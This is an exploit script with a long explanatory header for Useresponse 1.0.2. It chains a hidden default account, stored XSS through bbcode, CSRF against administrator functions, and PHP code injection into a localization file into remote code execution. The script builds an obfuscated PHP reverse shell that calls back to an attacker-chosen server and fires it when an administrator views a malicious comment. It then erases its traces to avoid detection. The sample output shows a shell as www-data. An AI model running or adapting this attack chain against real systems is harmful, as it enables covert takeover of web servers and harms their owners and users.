#!/usr/bin/python
# --------------------
# | abuseresponse.py |
# --------------------
# Useresponse <= 1.0.2 privilege escalation & remote code execution exploit
# vendor: USWebStyle (http://www.uswebstyle.com/)
# software: http://www.useresponse.com/
# vulns found by bcoles (@_bclose) and mr_me (@net__ninja)
# exploit by mr_me
# tested environments:
# - Ubuntu 10.10 Lamp stack (MySQL v5.1.61-0/PHP v5.3.3-1)
# - Fedora 12 LAMP stack
#
# Vendor description:
# -------------------
# Our solution focuses on the task to improve company's communication with their customers. We make it easier
# for customers to find answers to their questions, get fast feedback, and have real ability to influence the
# future of the products and services they use.
#
# Explanation:
# ------------
# After pwning the ActiveCollab 'chat module' Stas Kuzma from USWebStyle thought it would be his and his teams best interest
# to have the 'Useresponse' application security 'tested'.
#
# I explained that there is no way I can afford the corporate edition and that I would still be glad to test it if I can recieve a copy
# (for non commerial use dah). A kind email back from Stas and I had full access to the corporate edition of the software package
#
# ... think a bit ... test a bit ... think a bit ... test a bit ... etc
#
# We had a really hard time finding proper exploitable vulnerabilities as halfway through our testing they decided to remove our license :/
# We notified the vendor a few weeks back regarding these bugs so I'm sure they will release a fix soon.
#
# Nonetheless, the path to unauth'ed remote code execution is as follows:
#
# 1. backdoor account that is unable to be deleted by the administrators frontend. Alternatively,
# you can just register an account without admin verification ;)
# 2. privilege escalation via a stored XSS when abusing bbcode parsing
# 3. CSRF against all administrator functionality
# 4. remote code execution by circumventing escape characters and abusing an fwrite()
#
# Somewhat detailed analysis:
# ---------------------------
# Vulnerability 1 - Default backdoor account:
# ```````````````````````````````````````````
# Upon installation we can see that this application installs a default **hidden** user account called 'anonymous'.
# At first I thought this was a practical joke. When I say hidden, I mean there is a boolean flag used in the
# database to mark the account is actually hidden so that you cannot see the account from the administration frontend.
# Additionally, the frontend does not allow an administrator to delete other accounts anyway (wtf!?). o_O
#
# Vulnerability 2 - Privilege escalation via persistant cross site scripting in bbcode:
# `````````````````````````````````````````````````````````````````````````````````````
# The application allows for a low privlidged attacker to embed a malcious JavaScript payload. An adminsitrator viewing
# the page with a standard browser will trigger the embeded JavaScript payload and allow for an attacker to leverage
# the vulnerability to gain administrative access to the application or leverage the vulnerability to target the client
# directly and attack the browser.
#
# The vulnerable code can be found in application/modules/system/templates/system_response_show.phtml on lines 16 & 40:
#
# 13. <h1><?php echo $this->escape($this->activeResponse->title); ?></h1>
# 14. </div>
# 15. <div class="content-object-full">
# 16. <?php echo $this->bbcode($this->activeResponse->content); ?>
# 17. </div>
#
# 39. </div>
# 40. <?php echo $this->bbcode($this->activeResponse->getAnswer()->answer) ?>
# 41. </div>
# 42 </div>
#
# of course, the clientside JavaScript doesnt help at all..
#
# function bbcodeToHtml(text) {
#
# ....
#
# text = text.replace(/\[img\](.*?)\[\/img\]/g, '<img src="$1" />');
# text = text.replace(/\[url=(.*?)](.*?)\[\/url\]/ig, '<a href="$1">$2</a>');
# return text;
# }
#
# function copyTo(body, textArea, n) {
#
# if (n == 1) {
# text = htmlToBbcode(body)
# textArea.val(text);
# } else if (n == 0) {
# text = textArea.val();
# html = bbcodeToHtml(text);
# body.html(html);
# }
# }
#
# Vulnerability 3 - CSRF against all administrator functionality:
# ```````````````````````````````````````````````````````````````
# Well this is straight forward, any of the functionaility an administrator can do can be embeded into a HTML page
# and a link given to a logged in admin. However, for exploitation, it is obviously very convenient to combine this
# issue with the persistant cross site scripting.
#
# Vulnerability 3 - remote code execution by writing php into a file:
# ```````````````````````````````````````````````````````````````````
# This vulnerability exists when attempting to update a module's dictionary. The below PoC request updates the dictionary
# in application/localization/en/thanks.php.
#
# A few things to note:
# - There is a .htaccess file under /application by default that prevents the direct access of any php files
# but this doesnt prevent the code from being executed as the code is included and executed when viewing the edit page.
# - Zend Guard attempts to escape a single quote ' however if you escape the escape (\\'), then you can break out
# of the injected array.
#
# POST /webapps/ur/admin/languages/en/dictionary/thanks/add HTTP/1.1
# Host: localhost
# Cookie: PHPSESSID=d63ib6ec5gakoplbf6tkjlb4s7;
# Content-Type: application/x-www-form-urlencoded
# Content-Length: 553
#
# translation%5BUsers+can+give+praise+to+you%2C+so+all+know+how+customers+are+satisifed+with+provided+quality%5D=
# Users+can+give+praise+to+you%2C+so+all+know+how+customers+are+satisifed+with+provided+quality&translation%5BAll
# +Thanks%5D=All+Thanks&translation%5BSay+thanks%5D=Say+thanks&translation%5BThanks%5D=Thanks&translation%5Bthanks%5D=thanks
# &translation%5BTell+us+kind+words+or+what%27s+on+your+mind%5D=Tell+us+kind+words+or+what%27s+on+your+mind&translation%5B%
# 3Acount+more+thanks%5D=%3Acount+more+thanks&translation%5BThank+you+too%5D=Thank+you+too
#
# lines 221-245 in application/modules/system/controllers/AdminLanguagesController.php show the function that calls addTranslation()
#
# 221. public function editDictionaryAction()
# 222. {
# 223. $this->view->layout()->setLayout('translation');
# 224. $langCode = $this->_getParam('code');
# 225. $moduleName = $this->_getParam('module-name');
# 226. $module = $this->modules->findByName($moduleName);
# 227.
# 228. if (!$module->canEditTranslation($langCode)) {
# 229. $this->view->notify()->error("Dictionary can't be updated!");
# 230. $this->_redirect();
# 231. }
# 232. if ($this->getRequest()->isPost()) { ; must be a post request
# 233. $translation = $this->getRequest()->getParam('translation'); ; get the translation array parameters
# 234. $module->addTranslation($translation, $langCode); ; add the translation
# 235. Singular_Translate::clearCache();
# 236. Singular_Runtime::extract('cachemanager')
# 237. ->getCache('default')
# 238. ->clean(Zend_Cache::CLEANING_MODE_ALL);
# 239. $this->view->notify()->success("Dictionary is updated");
# 240. $this->_redirect();
# 241. }
# 242.
# 243. $this->view->langKey = $module->getLangKey();
# 244. $this->view->translation = $module->getTranslation($langCode);
# 245. }
#
# Unfortunately this is as far as I can go as Zend Guard obfuscates the php when this function resides
# and I dont have unlimited hours.
#
# About this exploit:
# -------------------
# This exploit targets the russian language for less chance of detection as it is enabled by default.
# Other functionality included are:
#
# - HTTP Proxy support for all requests
# - Simple JavaScript obfuscation
# - Simple PHP reverse shell obfuscation (thanks msf)
# - Simple PHP patch to remove the backdoor from the /application/localization/ru/thanks.php file
# - Backdoor injection & execution is triggered by the admin
# - The malicious comment is patched after the exploit is complete
#
# Images for exploitation can be found at http://pastebin.com/MH55NS07 (MD5(urpwned.tar.gz)= b4226779bf4f2bb3c720fe94fd4afb4e).
#
# mr_me@gliese:~$ wget http://pastebin.com/raw.php?i=MH55NS07 -O urpwned.txt
# mr_me@gliese:~$ dos2unix -ascii urpwned.txt
# mr_me@gliese:~$ cat urpwn.txt | base64 -d > urpwned.tar.gz
# mr_me@gliese:~$ openssl md5 urpwned.tar.gz
# MD5(urpwn.tar.gz)= b4226779bf4f2bb3c720fe94fd4afb4e
# mr_me@gliese:~$ tar -zxvf urpwned.tar.gz
# urpwned/
# urpwned/1.png
# urpwned/2.png
#
# Example usage:
# --------------
# mr_me@vuln-web-server:~$ ./abuseresponse.py -p localhost:8080 -r localhost -d /webapps/ur/ -c 127.0.0.1:5555
#
# | -------------------------------------------------------------------------- |
# | Useresponse <= 1.0.2 privilege escalation & remote code execution explo!t |
# | found & exploited by: bcoles & mr_me --------------------------------------|
#
# (+) Testing proxy @ localhost:8080.. proxy is found to be working!
# (+) Logging into the target application...
# (+) Login successful!
# (+) Installing backdoor JavaScript...
# (+) Backdoor JavaScript installed!
# (+) Listening on port 5555 for the victim admin...
# Connection from 127.0.0.1 port 5555 [tcp/*] accepted
# id;uname -a
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
# Linux vuln-web-server 2.6.35-32-generic #67-Ubuntu SMP Mon Mar 5 19:35:26 UTC 2012 i686 GNU/Linux
# pwd
# /var/www/webapps/ur
# cat application/localization/ru/thanks.php
# <?php
# return array('Thank you too' => '\\')."{${eval(base64_decode($_REQUEST[lulz]))}}".("rce"//',
# );
# exit
# (+) Cleaned backdoor php code!
# (+) Cleaning up JavaScript...
# (+) JavaScript cleanup complete!
# mr_me@vuln-web-server:~$ cat /var/www/webapps/ur/application/localization/ru/thanks.php
# <?php
# return array('Thank you too' => 'thanks',
# );
# ############################################################################################################
import sys
import urllib
import urllib2
import socket
import re
from optparse import OptionParser
from base64 import b64encode
from cookielib import CookieJar
from os import system
usage = "./%prog [<options>] -r [target] -d [directory]"
usage += "\nExample: ./%prog -p 127.0.0.1:8080 -r target.com -d /webapps/ur/ -c 127.0.0.1:1337"
parser = OptionParser(usage=usage)
parser.add_option("-p", type="string",action="store", dest="proxy",
help="HTTP proxy <server:port>")
parser.add_option("-r", type="string", action="store", dest="target",
help="The remote server <server:port>")
parser.add_option("-d", type="string", action="store", dest="target_path",
help="Directory path to userresponse")
parser.add_option("-c", type="string", action="store", dest="cb_server",
help="The connectback server <ip:port>")
(options, args) = parser.parse_args()
def banner():
print("\n\t| -------------------------------------------------------------------------- |")
print("\t| Useresponse <= 1.0.2 privilege escalation & remote code execution explo!t |")
print("\t| found & exploited by: bcoles & mr_me --------------------------------------|\n")
# validate that the poxy works
def test_proxy():
check = 1
sys.stdout.write("(+) Testing proxy @ %s.. " % (options.proxy))
sys.stdout.flush()
try:
req = urllib2.Request("http://www.google.com/")
req.set_proxy(options.proxy,"http")
check = urllib2.urlopen(req)
except:
check = 0
pass
if check != 0:
sys.stdout.write("proxy is found to be working!\n")
sys.stdout.flush()
else:
sys.stdout.write("proxy failed, exiting..\n")
sys.exit(0)
# build the reverse php shell
# msf code + some more stealth modifications
def build_php_code(cb_server,cb_port):
phpkode = ("""
@set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0);""")
phpkode += ("""$dis=@ini_get('disable_functions');""")
phpkode += ("""if(!empty($dis)){$dis=preg_replace('/[, ]+/', ',', $dis);$dis=explode(',', $dis);""")
phpkode += ("""$dis=array_map('trim', $dis);}else{$dis=array();} """)
phpkode += ("""if(!function_exists('LcNIcoB')){function LcNIcoB($c){ """)
phpkode += ("""global $dis;if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {$c=$c." 2>&1\\n";} """)
phpkode += ("""$imARhD='is_callable';$kqqI='in_array';""")
phpkode += ("""if($imARhD('popen')and!$kqqI('popen',$dis)){$fp=popen($c,'r');""")
phpkode += ("""$o=NULL;if(is_resource($fp)){while(!feof($fp)){ """)
phpkode += ("""$o.=fread($fp,1024);}}@pclose($fp);}else""")
phpkode += ("""if($imARhD('proc_open')and!$kqqI('proc_open',$dis)){ """)
phpkode += ("""$handle=proc_open($c,array(array(pipe,'r'),array(pipe,'w'),array(pipe,'w')),$pipes); """)
phpkode += ("""$o=NULL;while(!feof($pipes[1])){$o.=fread($pipes[1],1024);} """)
phpkode += ("""@proc_close($handle);}else if($imARhD('system')and!$kqqI('system',$dis)){ """)
phpkode += ("""ob_start();system($c);$o=ob_get_contents();ob_end_clean(); """)
phpkode += ("""}else if($imARhD('passthru')and!$kqqI('passthru',$dis)){ob_start();passthru($c); """)
phpkode += ("""$o=ob_get_contents();ob_end_clean(); """)
phpkode += ("""}else if($imARhD('shell_exec')and!$kqqI('shell_exec',$dis)){ """)
phpkode += ("""$o=shell_exec($c);}else if($imARhD('exec')and!$kqqI('exec',$dis)){ """)
phpkode += ("""$o=array();exec($c,$o);$o=join(chr(10),$o).chr(10);}else{$o=0;}return $o;}} """)
phpkode += ("""$nofuncs='no exec functions'; """)
phpkode += ("""if(is_callable('fsockopen')and!in_array('fsockopen',$dis)){ """)
phpkode += ("""$s=@fsockopen('tcp://%s','%s');while($c=fread($s,2048)){$out = ''; """ % (cb_server, cb_port))
phpkode += ("""if(substr($c,0,3) == 'cd '){chdir(substr($c,3,-1)); """)
phpkode += ("""}elseif (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit'){break;}else{ """)
phpkode += ("""$out=LcNIcoB(substr($c,0,-1));if($out===false){fwrite($s,$nofuncs); """)
phpkode += ("""break;}}fwrite($s,$out);}fclose($s);}else{ """)
phpkode += ("""$s=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);@socket_connect($s,'%s','%s'); """ % (cb_server, cb_port))
phpkode += ("""@socket_write($s,"socket_create");while($c=@socket_read($s,2048)){ """)
phpkode += ("""$out = '';if(substr($c,0,3) == 'cd '){chdir(substr($c,3,-1)); """)
phpkode += ("""} else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') { """)
phpkode += ("""break;}else{$out=LcNIcoB(substr($c,0,-1));if($out===false){ """)
phpkode += ("""@socket_write($s,$nofuncs);break;}}@socket_write($s,$out,strlen($out)); """)
phpkode += ("""}@socket_close($s);} """)
phpkode += ("""$pfile = getcwd()."/application/localization/ru/thanks.php"; """)
phpkode += ("""$patchdata = "<?php \\nreturn array('Thank you too' => 'thanks',\\n);\\n"; """)
phpkode += ("""$fh = fopen($pfile, 'w');fwrite($fh, $patchdata);fclose($fh);""")
return phpkode
# build malcious JavaScript string
def build_js(phpkode):
attackstring = ('\\\\\').\"{${eval(base64_decode($_REQUEST[lulz]))}}".("rce"//')
maliciousjs = ""
for char in attackstring:
maliciousjs += "%s," % str(ord(char))
bdjs = ("""var j = String.fromCharCode(%s); """ % (maliciousjs[:-1]))
bdjs += ("""document.write('<iframe name=\\\'f\\\' style=\\\'display:none;height:1px;width:1px\\\'></iframe>""")
bdjs += ("""<form name=\\\'l\\\' action=\\\'http://%s%sadmin/languages/ru/dictionary/thanks/edit\\\' method=\\\'post\\\' """
% (options.target, options.target_path))
bdjs += ("""target=\\\'f\\\'><input type=\\\'hidden\\\' name=\\\'translation[Thank you too]\\\' value='+j+' /></form>""")
bdjs += ("""<iframe name=\\\'rce\\\' src=\\\'http://%s%sadmin/languages/ru/dictionary/thanks/edit?lulz=%s\\\' """
% (options.target, options.target_path, b64encode(phpkode).rstrip()))
bdjs += ("""style=\\\'display:none;height:1px;width:1px\\\'></iframe>'); document.l.submit()""")
maliciousjs = ""
for char in bdjs:
maliciousjs += "%s," % str(ord(char))
maliciousxss = "[img]a\" onerror=\"eval(String.fromCharCode(%s))[/img]" % (maliciousjs[:-1])
return maliciousxss
# get the list of local system IP addresses
def get_ip_addresses():
addrList = socket.getaddrinfo(socket.gethostname(), None)
ipList=[]
for item in addrList:
ipList.append(item[4][0])
ipList.append('127.0.0.1')
return ipList
# the initial login request, set the proxy and cookie jar
def login_request(req, values):
data = urllib.urlencode(values)
user_agent = 'Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:11.0) Gecko/20100101 Firefox/11.0'
headers = { "X-Requested-With" : "XMLHttpRequest", "User-Agent" : user_agent }
cj = CookieJar()
if options.proxy:
proxy = urllib2.ProxyHandler({'http': options.proxy})
opener = urllib2.build_opener(proxy, urllib2.HTTPCookieProcessor(cj))
elif not options.proxy:
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
# install the opener for future requests
urllib2.install_opener(opener)
req = urllib2.Request(req, data, headers)
try:
result = urllib2.urlopen(req)
except urllib2.HTTPError, e:
print("(-) Error: the target server returned an invalid status code: %s" % e.code)
sys.exit(0)
except urllib2.URLError, e:
print("(-) Error: login failed against the target server and returned: %s" % e.reason)
sys.exit(0)
return result
# post requests
def do_post(req, values):
user_agent = 'Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:11.0) Gecko/20100101 Firefox/11.0'
headers = { "X-Requested-With" : "XMLHttpRequest", "User-Agent" : user_agent }
data = urllib.urlencode(values)
req = urllib2.Request(req, data, headers)
try:
result = urllib2.urlopen(req)
except urllib2.HTTPError, e:
print("(-) Error: the target server returned an invalid status code: %s" % e.code)
sys.exit(0)
except urllib2.URLError, e:
print("(-) Error: post request failed against the target server and returned: %s" % e.reason)
sys.exit(0)
return result
def main():
# check to ensure we have the target set and the local listener ready
if len(sys.argv) <= 6 or not options.cb_server or not options.target:
banner()
parser.print_help()
sys.exit(0)
# for the anonymous email address
try:
target = socket.gethostbyaddr(options.target)[1][0]
except:
print("(-) Cannot resolve the target server")
sys.exit(0)
# the backdoor account, change if needed
username = "anonymous@%s" % (target)
password = "password"
# error handling
try:
cb_server = options.cb_server.split(":")[0]
cb_port = options.cb_server.split(":")[1]
socket.inet_aton(cb_server)
except socket.error:
print("(-) The connectback server is either not in format <ip:port> or not a valid ip address")
sys.exit(0)
# tidy up the targets URI path if it isnt set correct
if options.target_path != "/":
if options.target_path[:1] != "/":
options.target_path = "/%s" % (options.target_path)
if options.target_path.rstrip()[-1] != "/":
options.target_path = "%s/" % (options.target_path)
# go get the reverse php shell
phpkode = build_php_code(cb_server,cb_port)
# build comment and the js based on the php code
m_comment = ("Interesting idea! but I think you should review you code better and ensure")
m_comment += (" that is in fact, secure.%s" % (build_js(phpkode)))
# login
url = ("http://%s%slogin" % (options.target, options.target_path))
values = {"email":username, "password":password, "is_remember":"0", "submit":"Login", "redirect":"reset"}
banner()
if options.proxy:
test_proxy()
print("(+) Logging into the target application...")
loginbody = login_request(url, values).read()
if re.search("response_type\":\"success", loginbody):
print("(+) Login successful!")
print("(+) Installing backdoor JavaScript...")
# adding the malcious JavaScript comment
values = {"response_id":"1", "content":m_comment, "is_private":"0", "file[0]":"", "filename[1]":"", "vote":"0"}
commentbody = do_post("http://%s%scomments/add" % (options.target, options.target_path), values)
commentre = re.compile(r'input type=\\"hidden\\" name=\\"comment_id\\" value=\\"(.*)\\" id=\\"comment_id')
commentid = commentre.search(commentbody.read())
if commentid:
print("(+) Backdoor JavaScript installed!")
print("(+) Listening on port %s for the victim admin..." % cb_port)
# we wait for the admin, upon JS execution, shell
if cb_server in get_ip_addresses():
try:
system("nc -lv %s" % cb_port)
except:
print("(!) You do not have privileges to execute a bind shell on port %s" % cb_port)
print("(!) Choose a different port or run the exploit with higher privileges")
sys.exit(0)
elif cb_server not in get_ip_addresses():
print("(!) This host is not the connect back server")
print("(!) You will need to execute 'nc -lv[p] %s' on %s" % (cb_port, cb_server))
sys.exit(0)
print("(+) Cleaned backdoor php code!")
print("(+) Cleaning up JavaScript...")
# no timeout on the session and we edit the comment to cleanup because we dont have delete privileges
cleanupurl = ("http://%s%scomments/edit" % (options.target, options.target_path))
values = {"response_id":"1", "content":"interesting idea!", "file[0]":"0",
"filename[1]":"", "comment_id":commentid.group(1)}
cleanupres = do_post(cleanupurl, values).read()
if re.search("response_type\":\"success", cleanupres):
print("(+) JavaScript cleanup complete!")
elif not re.search("response_type\":\"success", cleanupres):
print("(-) Failed to cleanup JavaScript.. login manually to repair the application.")
sys.exit(0)
elif not commentid:
print("(-) Failed to install the backdoor JavaScript...")
print("(!) Looks like you have to pwn your target manually!")
sys.exit(0)
elif not re.search("response_type\":\"success", loginbody):
print("(-) Login unsuccessful, check your credentials...")
print("(-) Maybe the anonymous account is disabled?")
sys.exit(0)
if __name__ == "__main__":
main()
# 00101110 00101110 00101110 01111001
# 01101111 01110101 00100000 01100011
# 01100001 01101110 01110100 00100000
# 01110011 01110100 01101111 01110000
# 00100000 01110101 01110011 00101110
